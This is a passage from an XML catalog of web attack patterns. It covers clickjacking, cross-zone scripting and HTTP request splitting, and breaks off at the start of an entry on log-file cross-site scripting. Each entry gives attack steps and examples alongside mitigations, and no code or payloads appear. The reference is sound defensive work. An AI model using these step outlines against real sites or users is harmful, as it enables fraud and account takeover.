												through a cross-site scripting attack.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Outcomes>
											<Outcome ID="1" type="Success">
												<Outcome_Description>The victim loads the
												clickjacking page.</Outcome_Description>
											</Outcome>
										</Outcomes>
									</Custom_Attack_Step>
								</Attack_Step>
								<Attack_Step ID="2">
									<Custom_Attack_Step>
										<Attack_Step_Title>Trick victim into interacting with the
											clickjacking page in the desired
											manner</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker tricks the victim into clicking on
												the areas of the UI which contain the hidden action
												controls and thereby interacts with the target
												system maliciously with the victim's level of
												privilege.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Hide action controls over very commonly used
												functionality.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Hide action controls over very
												psychologically tempting content.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The victim is communicating with the target application via a web based UI
						and not a thick client</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim's browser security policies allow at least one of the following
						JavaScript, Flash, iFrames, ActiveX, or CSS.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim uses a modern browser that supports UI elements like clickable
						buttons (i.e. not using an old text only browser)</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The victim has an active session with the target system.</Text>
				</Attack_Prerequisite>
				<Attack_Prerequisite>
					<Text>The target system's interaction window is open in the victim's browser and
						supports the ability for initiating sensitive actions on behalf of the user
						in the target system</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Spoofing</Method_of_Attack>
				<Method_of_Attack>Social Engineering</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>A victim has an authenticated session with a site that provides an
							electronic payment service to transfer funds between subscribing
							members. At the same time, the victim receives an e-mail that appears to
							come from an online publication to which he or she subscribes with links
							to today's news articles. The victim clicks on one of these links and is
							taken to a page with the news story. There is a screen with an
							advertisement that appears on top of the news article with the 'skip
							this ad' button. Eager to read the news article, the user clicks on this
							button. Nothing happens. The user clicks on the button one more time and
							still nothing happens.</Text>
						<Text>In reality, the victim activated a hidden action control located in a
							transparent layer above the 'skip this ad' button. The ad screen
							blocking the news article made it likely that the victim would click on
							the 'skip this ad' button. Clicking on the button, actually initiated
							the transfer of $1000 from the victim's account with an electronic
							payment service to an attacker's account. Clicking on the 'skip this ad'
							button the second time (after nothing seemingly happened the first time)
							confirmed the transfer of funds to the elctronic payment service.</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>High</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Crafting the proper malicious site and luring the victim to this site
							are not trivial tasks.</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Low: A computer connected to the internet.</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>If using the Firefox browser, use the NoScript plug-in that will help
						forbid iFrames.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Turn off JavaScript, Flash and disable CSS.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>When maintaining an authenticated session with a privileged target system,
						do not use the same browser to navigate to unfamiliar sites to perform other
						activities. Finish working with the target system and logout first before
						proceeding to other tasks.</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>DoS: instability</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>693<!--Protection Mechanism Failure--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>173<!--Action Spoofing--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>Enforce maximum security restrictions in the browser: JavaScript disabled,
						Flash disabled, CSS disabled, iFrames forbidden</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text> Shed elevated privileges as soon as possible (i.e. log out of the target
						application once finished with it and before doing other things in the
						browser)</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-14</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="104" Name="Cross Zone Scripting" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker is able to cause a victim to load content into their
						web-browser that bypasses security zone controls and gain access to
						increased privileges to execute scripting code or other web objects such as
						unsigned ActiveX controls or applets. This is a privilege elevation attack
						targeted at zone-based web-browser security. In a zone-based model, pages
						belong to one of a set of zones corresponding to the level of privilege
						assigned to that page. Pages in an untrusted zone would have a lesser level
						of access to the system and/or be restricted in the types of executable
						content it was allowed to invoke. In a cross-zone scripting attack, a page
						that should be assigned to a less privileged zone is granted the privileges
						of a more trusted zone. This can be accomplished by exploiting bugs in the
						browser, exploiting incorrect configuration in the zone controls, through a
						cross-site scripting attack that causes the attacker's content to be treated
						as coming from a more trusted page, or by leveraging some piece of system
						functionality that is accessible from both the trusted and less trusted
						zone. This attack differs from "Restful Privilege Escalation" in that the
						latter correlates to the inadequate securing of RESTful access methods (such
						as HTTP DELETE) on the server, while cross-zone scripting attacks the
						concept of security zones as implemented by a browser.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Find systems susceptible to the
											attack</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Find systems that contain functionality that is
												accessed from both the internet zone and the local
												zone. There needs to be a way to supply input to
												that functionality from the internet zone and that
												original input needs to be used later on a page from
												a local zone.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Leverage knowledge of common local zone
												functionality on targeted platforms to guide
												attempted injection of code through relevant
												internet zone mechanisms. In some cases this may
												be due to standard system configurations enabling
												shared functionality between internet and local
												zones. The attacker can search for indicators that
												these standard configurations are in place.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
										<Security_Controls>
											<Security_Control ID="1" type="Preventative">
												<Security_Control_Description>Ensure standard system
												configurations do not enable shared functionality
												between internet and local
												zones</Security_Control_Description>
											</Security_Control>
										</Security_Controls>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Experiment">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Find the insertion point for the
											payload</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>The attacker first needs to find some system
												functionality or possibly another weakness in the
												system (e.g. susceptibility to cross site scripting)
												that would provide the attacker with a mechanism to
												deliver the payload (i.e.the code to be executed) to
												the user. The location from which this code is
												executed in the user's browser needs to be within
												the local machine zone.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Finding weaknesses in functionality used by
												both privileged and unprivileged users.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="3" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Craft and inject the
											payload</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Develop the payload to be executed in the higher
												privilged zone in the user's browser. Inject the
												payload and attempt to lure the victim (if possible)
												into executing the functionality which unleashes the
												payload.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>The attacker makes it as likely as possible
												that the vulnerable functionality into which he
												has injected the payload has a high likelihood of
												being used by the victim.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text>Leverage cross-site scripting vulnerability
												to inject payload.</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>The target must be using a zone-aware browser.</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>There was a cross zone scripting vulnerability discovered in Skype
							that allowed one user to upload a video with a maliciously crafted title
							that contains a script. Subsequently, when the victim attempts to use
							the "add video to chat" feature on attacker's video, the script embedded
							in the title of the video runs with local zone privileges. Skype is
							using IE web controls to render internal and external HTML pages. "Add
							video to chat" uses these web controls and they are running in the Local
							Zone. Any user who searched for the video in Skype with the same
							keywords as in the title field, would have the attacker's code executing
							in their browser with local zone privileges to their host machine (e.g.
							applications on the victim's host system could be executed).</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Ability to craft malicious scripts or find them elsewhere and ability
							to identify functionality that is running web controls in the local zone
							and to find an injection vector into that functionality</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>No specialized equipment is needed</Text>
			</Resources_Required>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Disable script execution.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure that sufficient input validation is performed for any potentially
						untrusted data before it is used in any privileged context or zone</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Limit the flow of untrusted data into the privileged areas of the system
						that run in the higher trust zone</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Limit the sites that are being added to the local machine zone and
						restrict the privileges of the code running in that zone to the bare
						minimum</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Ensure proper HTML output encoding before writing user supplied data to
						the page</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Modify memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read files or
						directories</Consequence_Technical_Impact>
					<Consequence_Technical_Impact>Read memory</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>250<!--Execution with Unnecessary Privileges--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>638<!--Not Using Complete Mediation--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>285<!--Improper Access Control (Authorization)--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>116<!--Improper Encoding or Escaping of Output--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>20<!--Improper Input Validation--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>233<!--Privilege Escalation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Enforce least privilege</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Reluctance to trust</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>High</Confidentiality_Impact>
				<Integrity_Impact>High</Integrity_Impact>
				<Availability_Impact>High</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>n-Tier</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="105" Name="HTTP Request Splitting" Pattern_Abstraction="Standard"
			Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>HTTP Request Splitting (also known as HTTP Request Smuggling) is an attack
						pattern where an attacker attempts to insert additional HTTP requests in the
						body of the original (enveloping) HTTP request in such a way that the
						browser interprets it as one request but the web server interprets it as
						two.</Text>
					<Text>There are several ways to perform HTTP request splitting attacks. One way
						is to include double Content-Length headers in the request to exploit the
						fact that the devices parsing the request may each use a different header.
						Another way is to submit an HTTP request with a "Transfer Encoding: chunked"
						in the request header set with setRequestHeader to allow a payload in the
						HTTP Request that can be considered as another HTTP Request by a subsequent
						parsing entity. A third way is to use the "Double CR in an HTTP header"
						technique. There are also a few less general techniques targetting specific
						parsing vulnerabilities in certain web servers.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
						<Attack_Phase ID="1" Name="Explore">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Investigate Target
											Environment</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Determine the technologies used in the target
												environment such as types of browsers, web servers,
												application firewalls, proxies, etc.</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text>Investigation of the target environment to
												determine the types of technologies used to parse
												the incoming HTTP requests. Attempt to understand
												how HTTP Request headers are parsed</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
						<Attack_Phase ID="2" Name="Exploit">
							<Attack_Steps>
								<Attack_Step ID="1">
									<Custom_Attack_Step>
										<Attack_Step_Title>Post a malicious HTTP
											Request</Attack_Step_Title>
										<Attack_Step_Description>
											<Text>Post a malicious HTTP request that will be
												interpreted as multiple HTTP requests when parsed on
												the server</Text>
										</Attack_Step_Description>
										<Attack_Step_Techniques>
											<Attack_Step_Technique ID="1">
												<Attack_Step_Technique_Description>
												<Text> Post a malicious HTTP Request utilizing
												double CR/LF characters in HTTP header to cause
												request splitting</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="2">
												<Attack_Step_Technique_Description>
												<Text> Post a malicious HTTP Request utilizing
												"Transfer Encoding: chunked" in the request header
												to cause request splitting</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
											<Attack_Step_Technique ID="3">
												<Attack_Step_Technique_Description>
												<Text> Post a malicious HTTP Request utilizing
												double Content-Length headers to cause request
												splitting</Text>
												</Attack_Step_Technique_Description>
												<Environments>env-Web</Environments>
											</Attack_Step_Technique>
										</Attack_Step_Techniques>
									</Custom_Attack_Step>
								</Attack_Step>
							</Attack_Steps>
						</Attack_Phase>
					</Attack_Phases>
				</Attack_Execution_Flow>
			</Description>
			<Attack_Prerequisites>
				<Attack_Prerequisite>
					<Text>User-manipulatable HTTP Request headers are processed by the web
						server</Text>
				</Attack_Prerequisite>
			</Attack_Prerequisites>
			<Typical_Severity>High</Typical_Severity>
			<Typical_Likelihood_of_Exploit>
				<Likelihood>Medium</Likelihood>
				<Explanation/>
			</Typical_Likelihood_of_Exploit>
			<Methods_of_Attack>
				<Method_of_Attack>Protocol Manipulation</Method_of_Attack>
				<Method_of_Attack>Injection</Method_of_Attack>
				<Method_of_Attack>Analysis</Method_of_Attack>
			</Methods_of_Attack>
			<Examples-Instances>
				<Example-Instance>
					<Example-Instance_Description>
						<Text>Microsoft Internet Explorer versions 5.01 SP4 and prior, 6.0 SP2 and
							prior, and 7.0 contain a vulnerability that could allow an
							unauthenticated, remote attacker to conduct HTTP request splitting and
							smuggling attacks.</Text>
						<Text>The vulnerability is due to an input validation error in the browser
							that allows attackers to manipulate certain headers to expose the
							browser to HTTP request splitting and smuggling attacks. Attacks may
							include cross-site scripting, proxy cache poisoning, and session
							fixation. In certain instances, an exploit could allow the attacker to
							bypass web application firewalls or other filtering devices.</Text>
						<Text>Microsoft has confirmed the vulnerability and released software
							updates</Text>
					</Example-Instance_Description>
				</Example-Instance>
			</Examples-Instances>
			<Attacker_Skills_or_Knowledge_Required>
				<Attacker_Skill_or_Knowledge_Required>
					<Skill_or_Knowledge_Level>Medium</Skill_or_Knowledge_Level>
					<Skill_or_Knowledge_Type>
						<Text>Good understanding of the HTTP protocol and the parsing mechanisms
							employed by various web servers</Text>
					</Skill_or_Knowledge_Type>
				</Attacker_Skill_or_Knowledge_Required>
			</Attacker_Skills_or_Knowledge_Required>
			<Resources_Required>
				<Text>Low: No specialized equipment is needed</Text>
			</Resources_Required>
			<Probing_Techniques>
				<Probing_Technique>
					<Description>
						<Text>Issue HTTP Requests against a target server and examine
							responses.</Text>
					</Description>
				</Probing_Technique>
			</Probing_Techniques>
			<Solutions_and_Mitigations>
				<Solution_or_Mitigation>
					<Text>Make sure to install the latest vendor security patches available for the
						web server.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>If possible, make use of SSL.</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Install a web application firewall that has been secured against HTTP
						Request Splitting</Text>
				</Solution_or_Mitigation>
				<Solution_or_Mitigation>
					<Text>Use web servers that employ a tight HTTP parsing process</Text>
				</Solution_or_Mitigation>
			</Solutions_and_Mitigations>
			<Attack_Motivation-Consequences>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Scope>Availability</Consequence_Scope>
					<Consequence_Technical_Impact>Execute unauthorized code or
						commands</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Scope>Access_Control</Consequence_Scope>
					<Consequence_Scope>Authorization</Consequence_Scope>
					<Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Confidentiality</Consequence_Scope>
					<Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
				<Attack_Motivation-Consequence>
					<Consequence_Scope>Integrity</Consequence_Scope>
					<Consequence_Technical_Impact>Modify application
						data</Consequence_Technical_Impact>
				</Attack_Motivation-Consequence>
			</Attack_Motivation-Consequences>
			<Injection_Vector/>
			<Payload/>
			<Activation_Zone/>
			<Payload_Activation_Impact/>
			<Related_Weaknesses>
				<Related_Weakness>
					<CWE_ID>436<!--Interpretation Conflict--></CWE_ID>

					<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
				</Related_Weakness>
				<Related_Weakness>
					<CWE_ID>444<!--Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')--></CWE_ID>

					<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
				</Related_Weakness>
			</Related_Weaknesses>
			<Related_Attack_Patterns>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Attack Pattern</Relationship_Target_Form>
					<Relationship_Nature>ChildOf</Relationship_Nature>
					<Relationship_Target_ID>220<!--Client-Server Protocol Manipulation--></Relationship_Target_ID>
				</Related_Attack_Pattern>
				<Related_Attack_Pattern>
					<Relationship_Views>
						<Relationship_View_ID>333</Relationship_View_ID>
					</Relationship_Views>
					<Relationship_Target_Form>Category</Relationship_Target_Form>
					<Relationship_Nature>HasMember</Relationship_Nature>
					<Relationship_Target_ID>357<!--WASC Threat Classification 2.0 - WASC-24 - HTTP Request Splitting--></Relationship_Target_ID>
				</Related_Attack_Pattern>
			</Related_Attack_Patterns>
			<Relevant_Security_Requirements>
				<Relevant_Security_Requirement>
					<Text>System integration testing must include security checks to protect against
						Multiple Interpretation Errors across systems.</Text>
				</Relevant_Security_Requirement>
			</Relevant_Security_Requirements>
			<Related_Security_Principles>
				<Related_Security_Principle>
					<Text>Economy of Mechanism</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Secure the Weakest Link</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Compartmentalization</Text>
				</Related_Security_Principle>
				<Related_Security_Principle>
					<Text>Defense in Depth</Text>
				</Related_Security_Principle>
			</Related_Security_Principles>
			<Related_Guidelines>
				<Related_Guideline>
					<Text>Understand the possible underlying weaknesses in the third party
						technologies being used and stay up to date with the vendor patches.</Text>
				</Related_Guideline>
			</Related_Guidelines>
			<Purposes>
				<Purpose>Exploitation</Purpose>
			</Purposes>
			<CIA_Impact>
				<Confidentiality_Impact>Medium</Confidentiality_Impact>
				<Integrity_Impact>Medium</Integrity_Impact>
				<Availability_Impact>Low</Availability_Impact>
			</CIA_Impact>
			<Technical_Context>
				<Architectural_Paradigms>
					<Architectural_Paradigm>Client-Server</Architectural_Paradigm>
				</Architectural_Paradigms>
				<Frameworks>
					<Framework>All</Framework>
				</Frameworks>
				<Platforms>
					<Platform>All</Platform>
				</Platforms>
				<Languages>
					<Language>All</Language>
				</Languages>
			</Technical_Context>
			<Content_History>
				<Submissions>
					<Submission>
						<Submitter>Evgeny Lebanidze</Submitter>
						<Submitter_Organization>Cigital, Inc</Submitter_Organization>
						<Submission_Date>2009-01-12</Submission_Date>
						<Submission_Comment>Initial core pattern content</Submission_Comment>
					</Submission>
				</Submissions>
				<Modifications>
					<Modification>
						<Modifier>Sean Barnum</Modifier>
						<Modifier_Organization>Cigital Federal, Inc.</Modifier_Organization>
						<Modification_Date>2009-04-20</Modification_Date>
						<Modification_Comment>Refinement of pattern content</Modification_Comment>
					</Modification>
				</Modifications>
			</Content_History>
		</Attack_Pattern>
		<Attack_Pattern ID="106" Name="Cross Site Scripting through Log Files"
			Pattern_Abstraction="Standard" Pattern_Completeness="Complete" Status="Draft">
			<Description>
				<Summary>
					<Text>An attacker may leverage a system weakness where logs are susceptible to
						log injection to insert scripts into the system's logs. If these logs are
						later viewed by an administrator through a thin administrative interface and
						the log data is not properly HTML encoded before being written to the page,
						the attacker's scripts stored in the log will be executed in the
						administrative interface with potentially serious consequences. This attack
						pattern is really a combination of two other attack patterns: log injection
						and stored cross site scripting.</Text>
				</Summary>
				<Attack_Execution_Flow>
					<Attack_Phases>
